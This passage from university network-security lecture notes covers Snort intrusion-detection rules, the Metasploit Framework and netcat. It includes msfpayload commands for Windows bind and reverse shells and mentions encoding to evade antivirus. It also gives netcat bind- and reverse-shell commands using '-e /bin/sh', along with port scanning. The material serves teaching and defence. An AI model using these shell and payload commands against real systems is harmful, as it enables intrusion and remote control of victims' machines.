# The following rule merely looks for IRC traffic on any TCP port (by detecting NICK change # events, which occur at the beginning of the session) and sets the is_proto_irc flowbit. # It does not actually generate any alerts itself: alert tcp any any -> any any (msg:"COMMUNITY BOT IRC Traffic Detected By Nick Change"; \ flow: to_server,established; content:"NICK "; nocase; offset: 0; depth: 5; flowbits:set,\ community_is_proto_irc; flowbits: noalert; classtype:misc-activity; sid:100000240; rev:3;) # Using the aforementioned is_proto_irc flowbits, do some IRC checks. This one looks for # IRC servers running on the $HOME_NET alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY BOT Internal IRC server detected"; \ flow: to_server,established; flowbits:isset,community_is_proto_irc; classtype: policy-violation; \ sid:100000241; rev:2;) # These rules look for specific Agobot/PhatBot commands on an IRC session alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.about \ command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.about"; \ classtype: trojan-activity; sid:100000242; rev:2;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.die command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.die"; classtype: trojan-activity; sid:100000243; rev:2;) .... .... ....
• Next let us peek into the file community-virus.rules. Here
are the first three rules, meant for detecting the viruses Dabber (at two different ports) and BlackWorm.

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alert tcp $EXTERNAL_NET any -> $HOME_NET 5554 (msg:"COMMUNITY VIRUS Dabber PORT overflow \ attempt port 5554"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,\ relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; \ sid:100000110; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 1023 (msg:"COMMUNITY VIRUS Dabber PORT overflow \ attempt port 1023"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,\ relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; \ sid:100000111; rev:1;) alert tcp $HOME_NET any -> 80 (msg:"COMMUNITY VIRUS Possible BlackWorm or \ Nymex infected host"; flow:to_server,established; uricontent:"/cgi-bin/Count.cgi?df=765247"; reference:url,ww Win32%2fMywife.E%40mm; reference:url,cme.mitre.org/data/list.html#24; reference:url,isc.\ sans.org/blackworm; classtype:trojan-activity; sid:100000226; rev:2;) .... ....
• It is easy to install snort through your Synaptic Packet
Manager, but be warned that the installation does not run to completion without additional intervention by you. Before telling you what that intervention is, the installation will place the executable in /usr/sbin/snort, the start/stop/restart script in /etc/init.d/snort, and the config files in the /etc/snort/ directory. As you��d expect, the documentation is placed in the /usr/share/doc/snort/ directory. Please read the various README files in this directory before completing the installation. Some of these README files are compressed; so you will have to use a command like zcat README.Debian.gz | more to see what the instructions are. As you will find out from these README files, a full installation of snort requires that you also install a database server like MySQL or PostgreSQL. But if

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you want to just have fun with snort as you are becoming familiar with the tool, it is not necessary to do so. You just
need to make sure that you delete the zero-content file named db-pending-config from the /etc/snort/ directory.
• The syntax for writing the intrusion detection rules is explained
in the file /usr/share/doc/snort/snort_rules.html.
• Your main config file is /etc/snort/snort.conf, but it
should be good enough as it is for an initial introduction to the system.
• Once you get snort going, try the following command lines:
sudo snort -v -i wlan0 // will see the headers of ALL TCP // packets visible to the wlan0 // wireless interface // the -v option is for verbose // it slows down snort and it can lose // packets with -v sudo snort -d -e -i wlan0 // will also show you data in packets // -d option is for data, -e is for // link-layer packets sudo snort -de -i wlan0 // a compressed form of the above sudo snort -d -i wlan0 -l my_snortlog_directory -h // will scan your home LAN and dump // info into a logfile in the named // directory

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sudo snort -d -i wlan0 -l my_snortlog_directory -c rule-file // will dump all of the info in a // logfile but only for packets // that trigger the specified rules
Do ��man snort�� to see all the options.
• If instead of the above command lines, you start up snort with:
sudo /etc/init.d/snort start
and then if you do ps ax | grep snort, you will discover that this automatic start is equivalent to the following command line invocation:
sudo snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf \ -S HOME_NET=[] -i eth0
assuming you are connected to a home LAN ( Note the -c option here. In this case, this option points to the config file itself, meaning in general all the rule files pointed to by the config file.
• You can customize how snort works for each separate interface
by writing a config file specific to that interface. The naming convention for such files is /etc/snort/snort.$INTERFACE.conf
• Some of the source code in snort is based directly on tcpdump.

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• Martin Roesch is the force behind the development of Snort. It
is now maintained by his company Sourcefire. The main website for Snort is http://www.snort.org. The main manual for the system is snort_manual.pdf (it did not land in my computer with the installation).

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Back to TOC
• The Metasploit Framework (http://www.metasploit.com)
has emerged as ��the tool�� of choice for developing and testing new exploits against computers and networks.
• The Metasploit Framework can be thought of as a major ��force
multiplier�� for both the good guys and the bad guys. It makes
it easier for the good guys to test the defenses of a computer system against a large array of exploits that install malware in your machine. At the same time, the Framework makes it much
easier for the bad guys to experiment with different exploits to break into a computer.
• The Framework has sufficient smarts built into it so that it can
create exploits for a large number of different platforms, saving the attacker the bother of actually having to write code for those platforms.
• Let��s say you want to create a worm for the iPhone platform
but you don��t know how to program in Objective C, the

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Computer and Network Security by Avi Kak Lecture 23
primary language for iPhone applications. Not to worry. With the Metasploit Framework, all you have to do is to execute the command msfpayload and give it the options that apply to the iPhone platform, and, voila, you��ll have the executable of a worm for the iPhone. Obviously you would still be faced with the problem of delivering the worm you just created to its intended target. For that you could try mounting a social engineering attack of the type discussed in Lecture 30.
• The MF command mentioned above, msfpayload, allows you
to create a payload in either the source-code form in a large variety of languages or as a binary executable for a number of different platforms. A exploit would then consist of installing the payload in a machine to be attacked. [In the context of network
security exploits, a payload is the same thing as shellcode — examples of which you saw in Section 21.7 of Lecture 21.]
• The Metasploit Framework creates two different kinds of
payloads: (1) Payloads that are fully autonomous for whatever it is they are meant to do — in the same sense as a worm we described in Lecture 22. And (2) Payloads with just sufficient networking capability to later pull in the rest of the needed code. [The first type of a payload is easier to detect by anti-virus tools. The
second type of a payload would be much harder to detect because of its generic nature. The false-positive rate of an anti-virus tool that detects the second type of a payload would generally be much too high for the tool to be of much practical use.]
From the standpoint of the good guys, a payload is what you

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attack a machine with to test its defenses. And, from the standpoint of the bad guys, a payload is nothing but a worm as we defined it in Lecture 22.
• The first type of a payload is created with the command syntax
that, for the case of payloads meant for the Windows platform, looks like ��msfpayload window/shell reverse tcp�� and the second type with command syntax that looks like ��msfpayload
windows/shell/reverse tcp��.
• To give the reader a sense of the syntax used for creating the
payloads, the command
msfpayload windows/shell_bind_tcp X > temp.exe
creates the executable for a Windows backdoor shell listener, in other words, a server socket, on port 4444 (by default). If you could get the owner of a Windows machine to execute the code produced, you would have direct connection with the server program you installed surreptitiously. The following command line
msfpayload windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx \ LPORT=xxxxx > temp.exe
generates a reverse shell executable that connects back to the machine whose address is supplied through the parameter LHOST on its port supplied through the parameter LPORT. What that means is that subsequently you will have access to a shell on the attacked machine for executing other commands.

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• Another very useful command in the Framework is msfencode
that encodes a payload to make its detection more difficult by enroute filtering and targeted-machine anti-virus tools. The Metasploit Framework includes several different encoders, the most popular being called Shikata Ga Nai. A more technical name for this encoder is ��Polymorphic XOR Additive
Feedback Encoder��.
• Encoding a payload also generates a decoder stub that is
prepended to the encoded version of the payload for the purpose of decoding the payload at runtime in the attacked machine. The decoder stub simply reverses the steps used for encoding. The encoded version of payload is generally produced by piping the output of the msfpayload command into the msfencode command. Your encoded payloads are less likely to be detected by anti-virus tools if the payload was created was of the second type we mentioned above. That is, if it is of the type that contains only minimal code for connecting back to the attacker for the rest of the code.
• Here is an interesting report by I)ruid on how to encode a
payload in such a way that makes it more difficult for anti-virus and intrusion prevention tools to detect the payload:
The title of the report is ��Context-keyed Payload Encoding:
Preventing Payload Disclosure via Context.��

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• Another interesting report you may wish to look up is
��Effectiveness of Antivirus in Detecting Metasploit Payloads��
by Mark Baggett. It is available from http://www.sans.org (or, you can just google the title of the report). This report examines the effectiveness with which the current anti-virus tools can detect the payloads generated by the Metasploit Framework.
• A recent powerful and ��stealthy�� addition to the Metasploit
Framework is the Meterpreter extension that allows DLLs to be loaded in-memory in an already running process in the victim��s machine and without involving the disk at all. Subsequently, the attacker��s machine loads the local extension APIs for the DLLs that allows a remote invocation of the functionality of those DLLs inside the victim��s machine.
• Meterpreter creates no new processes as it injects itself into an
already running process. That and the fact that it leaves no trace of itself on the disk makes Meterpreter stealthy. By default, Meterpreter uses encrypted communications.
• The Metasploit Framework has been acquired by Rapid7.
However, it is free for non-commercial use.

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Back to TOC
netcat UTILITY
• Netcat has got to be one of the most versatile tools ever created
for troubleshooting networks. It is frequently referred to as the Swiss Army knife for network diagnostics.
• I suppose the coolest thing about netcat is that you can create
TCP/UDP servers and clients without knowing a thing about how to program up such things in any language.
• And the second coolest thing about netcat is that it is
supported on practically all platforms. So you can easily have Windows, Macs, Linux, etc., machines talking to one another even if you don��t have the faintest idea as to how to write network programming code on these platforms. [Netcat comes
pre-installed on several platforms, including Ubuntu and Macs]
• The manpage for netcat (you can see it by executing ��man
netcat�� or ��man nc��) is very informative and shows examples of several different things you can do with netcat.
• What I have said so far in this section is the good news. The

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bad news is that you are likely to find two versions of netcat in your Ubuntu install: nc.openbsd and nc.traditional. The
command nc is aliased to nc.openbsd. There are certain
things you can do with nc.traditional that you are not allowed to with nc. Perhaps the most significant difference
between nc and nc.traditional is with regard to the ��-e�� option. It is supported in nc.traditional but not in nc. The ��-e�� option can be used to create shells and remote shells for the execution of commands. You have a shell if the machine with the listener socket (the
server socket) executes a shell command like /bin/sh on Unix/Linux machines or like cmd.exe on Windows machines. Subsequently, a client can send commands to the server, where they will be interpreted and executed by the shell. You have a reverse shell if the client side creates a client socket and then executes a shell command locally (such as by executing /bin/sh or cmd.exe) for the interpretation and execution of the commands received from the server side. The ��-e�� option
can obviously create a major security vulnerability.
• Let��s now look at some of the many modes in which you can use
netcat. I��ll assume that you have available to you two machines that both support netcat. [If one of these machines is behind a
wireless access point at home and the other is out there somewhere in the internet, you��d need to ask your wireless router to open the server-side port you will be using for the experiments I describe below — regardless of which of the two machines you use for the server side. If you don��t know how to open specific ports on your home router, for a typical home setting, you��ll need to point your browser at home to a URL like and, for the case of LinkSys routers at least, go to a page like ��Applications and Gaming�� to enter the port number and the local IP address of the machine for which you want the router to do what��s known as port forwarding. When ��playing�� with netcat, most folks use port 1234 for the server side. So just allow port forwarding on port 1234. ]

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• We will assume one of the machines is
moonshine.ecn.purdue.edu and the other is my Ubuntu laptop which may be either at home (behind a LinkSys wireless router) or at work on Purdue PAL wireless.
• For a simple two-way connection between my Ubuntu laptop
and moonshine.ecn.purdue.edu, I��ll enter in a terminal window on moonshine [You do NOT have to be root for all of the example
code shown in this section.] :
nc -l 1234
and in my Ubuntu laptop the command:
nc moonshine.ecn.purdue.edu 1234
The command-line option ��-l�� (that is the letter ��el�� and not the number ��one��) in the first command above creates a listening socket on port 1234 at the moonshine end. The laptop end creates a client socket that wants to connect to the service at port 1234 of moonshine.ecn. purdue.edu. This establishes a two-way TCP link between the two machines for the exchange of one-line-at-a-time text. So anything you type at one end of this link will appear at the other end. [This is obviously an example of a
rudimentary chat link.] You can obviously reverse the roles of the two
machines (provided, if you are at home behind a router, you have enabled port-forwarding in the manner I described earlier).
• An important feature of the ��-l�� option for most invocations of
netcat is that when either side shuts down the TCP link by

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entering Ctrl-D, the other side shuts down automatically. [The
Windows version of netcat also supports an ��-L�� option for creating persistent listening sockets. If you open up such a server-side listening socket, you can only shut it down from the server side.]
• An extended version of the above demonstration is for
establishing a TCP link for transferring files. For example, if I say on the moonshine machine:
nc -l 1234 > foo.txt
and if I execute the following command on my laptop:
nc moonshine.ecn.purdue.edu 1234 < bar.txt
The contents of the bar.txt on the laptop will be transferred to the file foo.txt on moonshine.ecn.purdue.edu. The TCP link is terminated after the file transfer is complete.
• I��ll now demonstrate how to use netcat to create a shell on a
remote machine. In line with the definition of shell and reverse shell presented earlier in this section, if I want to get hold of a shell on a remote machine, I must execute the command /bin/sh directly on the remote machine. So we will execute the following command on moonshine.ecn.purdue.edu:
nc.traditional -l -p 1234 -e /bin/sh
Note the use of the ��-e�� option, which is only available with nc.traditional on Ubuntu machines. [If you are running the above

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Computer and Network Security by Avi Kak Lecture 23
command on a Windows machine, replace /bin/sh by cmd.exe. Also, on Windows, you would call nc and not nc.traditional. Running ��-e�� option on Widows works only if you installed the version of netcat that has ��-e�� enabled. Note that an installation of the ��-e�� enabled version of netcat on Windows may set of anti-virus alarms.] Subsequently, I will run on the
laptop the command
nc moonshine.ecn.purdue.edu 1234
Now I can invoke on my laptop any commands that I want executed on the moonshine.ecn.purdue.edu machine (provided, of course, moonshine understands those commands). For example, if I enter ls on my laptop, it will be appropriately interpreted and executed by the shell on moonshine and I will see on my laptop a listing of all the files in the directory in which I created the listening socket on the moonshine side. Since my laptop now has access to a command shell on moonshine, the laptop will maintain a continuous on-going connection with moonshine and execute any number of commands there — until I hit either Ctrl-D at the laptop end or Ctrl-C at the moonshine end. [Entering Ctrl-D on the client side means you are
sending EOF (end-of-file) indication to the server socket at the other end. And entering Ctrl-C on the server side means that you are sending the SIGINT signal to the process in which the server program is running to bring it to a halt.]
• I��ll now demonstrate how to use netcat to create a reverse
shell on a remote machine. In line with the definition of reverse shell presented earlier in this section, the client side must now execute a command like /bin/sh on Unix/Linux machines and cmd.exe on Windows machines in order to interpret and

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Computer and Network Security by Avi Kak Lecture 23
execute the commands received from the server side. So, this time, let��s create an ordinary listening socket on moonshine.ecn.purdue.edu by entering the following in one of its terminal windows:
nc.traditional -l -p 1234
Now, on the laptop side, I��ll enter the following command line:
nc.traditional moonshine.ecn.purdue.edu 1234 -e /bin/sh
Now any commands I enter on the server side — the moonshine side — will be executed on the laptop and the output of those commands displayed on the server side. This is referred to as the server having access to a reverse shell on the client side. You can terminate this TCP link by entering Ctrl-C on either side. [If you are running the above client-side command on a Windows machine, replace
/bin/sh by cmd.exe to make available the Windows command shell to the server side.]
• You can also use netcat to carry out a rudimentary port scan
with a command like
nc -v -z -w 2 shay.ecn.purdue.edu 20-30
where the last argument, 20-30, means that we want the ports 20 to 30, both ends inclusive, to be scanned. The ��-w 2�� sets the timeout to 2 seconds for the response from each port. The option ��-v�� is for the verbose mode. When used for port scanning, you may not see any output if you make the call without the verbose option. The option ��-z�� ensures that no

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Computer and Network Security by Avi Kak Lecture 23
data will be sent the machine being port scanned. There is also the option ��-r�� to randomize the order in which the ports are scanned.
• For the next example, I��ll show how you can use netcat to
redirect a port. [This is something that you can also do easily with iptables by inserting
a REDIRECT rule in the PREROUTING chain of the nat table of the firewall. See Chapter 18.] To
explain the idea with a simple example, as you know, the SSH service is normally made available on port 22. Let��s say, just for sake of making an example of port redirection, that you cannot reach that port directly. Instead you are allowed to reach, say, the port 2020. With netcat, you can relay your SSH connection through the port 2020. To bring that about, you execute the following two commands in some directory (which could be ��/tmp�� that all processes are allowed to write to)
mkfifo reverse nc -l 2020 < reverse | nc localhost 22 > reverse
As to the reason for the first command above, note that a pipe is a unidirectional connection. So if we use a pipe to route the incoming traffic at the server on the listening port 2020 to another instance of netcat acting as a client vis-a-vis the SSHD server on port 22 of the same host, we also need to figure out how to route the information returned by the SSHD server. That is, when the SSHD server sends the TCP packets back to whosoever made a connection request, those packets need to travel back on the same relay path. This we do by first creating a standalone pipe with a designated name with the mkfifo

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Computer and Network Security by Avi Kak Lecture 23
command. We call this pipe reverse for obvious reasons. [In
order to understand why nc localhost 22 > reverse captures the return TCP packets emanating the SSHD server, go back to the example of using netcat for file transfer. In the forward
direction, whatever the command ��nc -l 2020�� write to the standard output get fed into the standard input to ��nc localhost 22��. Subsequently, at the client site, you enter a command line like the following to make an SSH connection with the remote host:
ssh kak@moonshine.ecn.purdue.edu -p 2020
• Finally, note that netcat understands both IPv4 and IPv6. A
netcat command can be customized to the IPv4 protocol with the ��-4�� option flag and to the IPv6 protocol with the ��-6�� flag.

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Computer and Network Security by Avi Kak Lecture 23
Back to TOC
1. Nowadays even the hoi polloi talk about the ports on their home computers being open or closed. But what exactly is meant by an open port? And by a closed port? Say I buy a brand new laptop with only the most basic software (word processor, browser, etc.) installed on it. Should I assume that all the ports on the laptop are open? 2. Let��s say your home router has a firewall in it that you can configure with a web-based tool running on a computer behind the router. Is the meaning of a port being open in the router firewall the same as the meaning of a port being open in your laptop? 3. What are all the different things you can accomplish with the nmap port scanner? Say that my laptop is only hosting the sshd and httpd server daemons. Assuming a standard install for these servers, which ports will be found to be open on my laptop by the nmap port scanner? 4. Let��s say you have port scanned my laptop and found no ports to be open. Should I leap to the conclusion that all the ports on

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Computer and Network Security by Avi Kak Lecture 23
my laptop are closed and that therefore my laptop is not vulnerable to virus and worms? 5. What are the main differences between a port scanner like nmap and a vulnerability scanner like nessus? 6. Why might it be unwise to scan a network too frequently with a vulnerability scanner? 7. The vulnerability tests carried out by the nessus scanner are written in a special language. What is it called? 8. What do the phrases ��packet sniffer,�� ��protocol analyzer,�� and ��network analyzer�� mean to you? How do these things differ from port scanners and vulnerability scanners? 9. As you know, the network interface on all of the machines in a LAN see all the packets in the LAN regardless of which machines they originate from or which machines they are intended for. Does the same thing happen in a wireless LAN? [A more precise phrasing of this question would say: ��....all the packets in that portion of a LAN that is
behind the same switch ...��. See Lecture 16 for the difference between routers, switches, hubs.]
10. Describe the structure of an Ethernet frame? What is the

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Computer and Network Security by Avi Kak Lecture 23
maximum size of an Ethernet frame? What about its minimum size? 11. How does the Data Link Layer in the TCP/IP stack of a router map the destination IP address in a packet received from the internet to the MAC address of the destination machine in the LAN controlled by the router? 12. When we say that a network interface is operating in the promiscuous mode, what do we mean? 13. What is the difference between tcpdump and snort? What makes snort such a powerful tool for intrusion detection?

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